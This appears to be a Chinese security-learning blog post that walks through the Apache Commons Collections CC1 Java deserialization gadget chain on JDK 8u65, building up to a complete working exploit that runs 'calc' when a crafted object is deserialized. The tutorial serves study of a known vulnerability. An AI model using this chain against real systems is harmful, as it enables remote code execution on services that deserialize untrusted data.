CC1
CC链指利用Apache Commons Collections中特定类进行反序列化攻击的链条,该链可在反序列化过程中执行任意代码
实验环境
- JDK 8u65
- commons-collections 3.2.1
1
2
3
4
|
D:\JAVA\JDK\jdk_1.8.0_65\bin>java -version
java version "1.8.0_65"
Java(TM) SE Runtime Environment (build 1.8.0_65-b17)
Java HotSpot(TM) 64-Bit Server VM (build 25.65-b01, mixed mode)
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.zhuwenxiu</groupId>
<artifactId>unserialize</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<!-- commons-collections 3.2.1的起步依赖 -->
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
</project>
|
反序列化过程要调试JDK源码,源码文件从openjdk下载,加载到IDE的lib源,调试过程中就可以看到变量名了
CC链尾命令执行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class Main {
public static void main(String[] args)
throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException {
// 常规命令执行
Runtime.getRuntime().exec("calc");
// 反射命令执行
Runtime r = Runtime.getRuntime(); // 获取Runtime类
Class c = Runtime.class; // 反射Runtime
Method method = c.getMethod("exec", String.class); // 通过Runtime.class获取方法exec,封装到Method
method.invoke(r,"calc"); // 调用类r的方法exec,这里r是Runtime类,参数是calc
// CC反射
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
}
}
|
InvokerTransformer
类在开发中的主要用处是将特定的方法调用应用于一组对象。它将方法调用封装成一个转换器,使得你可以轻松地在处理集合或对象时调用某个方法。


静态方法transform
中封装了反射调用函数的逻辑,调用方法的名称和参数基于InvokerTransformer
类的构造方法所传的参数
只要传的参数合适能够调用任意方法
链条完善

TransformeredMap
的方法checkSetValue
调用了方法transform
,valueTransformer
是类的常量,取决于构造方法的参数

静态方法decorate
调用了有参构造方法
checkSetValue

子类valueTransformer
的setValue
调用了父类的方法checkSetValue
,这里要对Entry
进行遍历调用setValue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
// 当前exp手动调用setValue
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class demo {
public static void main(String[] args) {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
for(Map.Entry entry:transformedMap.entrySet())
{
entry.setValue(r); // 入口点
}
}
}
|

setValue
现在要找一个类能够遍历集合的键值对,定位到AnnotationInvocayionHandle.readObject
,这正好也是反序列化的入口

AnnotationInvocationHandler
重写方法readObject
并调用了setValue
,这里没有指定权限则权限为default,AnnotationInvocationHandler
只能在本类实例化,需要通过反射在其它类实例化

memberValues
可控,设为transformedMap
进行遍历
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
// 有瑕疵的完整反序列化
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class demo {
public static void main(String[] args)
throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Runtime r = Runtime.getRuntime(); // Runtime无法序列化
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
// for(Map.Entry entry:transformedMap.entrySet())
// {
// entry.setValue(r); // 需要传Runtime.getRuntime
// }
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Override.class,transformedMap);
serialize(obj);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}
|
当前exp存在两个问题
-
Runtime
类没有实现Serializable
参与反序列化流程,Class
类实现了Serializable
接口,那么可以使用Runtime.getRuntime().getClass()
进行反序列化


-
setValue
需要传Runtime.getRuntime()
,但是在AnnotationInvocationHandler
中setValue
的参数已经写死

-
绕过AnnotationInvocationHandler
的readObject
的两个if
从代码的复用性角度来说,应当减少这种复用的工作量,于是使用 ChainedTransformer
这个类
1
2
3
|
Method getMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
|

ChainedTransformer
的transform
可进行上述代码的遍历调用,只需要在构造函数中传一个Transformer
数组,数组中都是InvokerTransformer
对象即可
1
2
3
4
5
6
7
|
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class); // transform传最早的Object
|
if绕过

type
是AnnotationInvocationHandler
构造方法的第一个参数,这里要求所传注解的成员类型不为空,显然Override
的成员类型为空,更换为Target


1
|
map.put("key","value"); ==> map.put("value","key"); // 保证键的值为value即可
|
该类的方法transform
无论传什么都会返回构造方法所传的对象

在transformers
中添加
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
// 完整exp
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class demo {
public static void main(String[] args)
throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 新加
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
map.put("value","key"); // 键名改为value
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null, chainedTransformer); // invokerTransformer改为chainedTransformer
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class,transformedMap);
serialize(obj);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}
|
总结
命令执行的演化过程
完整的链条
AnnotationInvocationHandler.readObject —> memberValue.setValue —> transformMap.checkSetValue —> InvokerTransformer.transform

后续通过调试进一步加深理解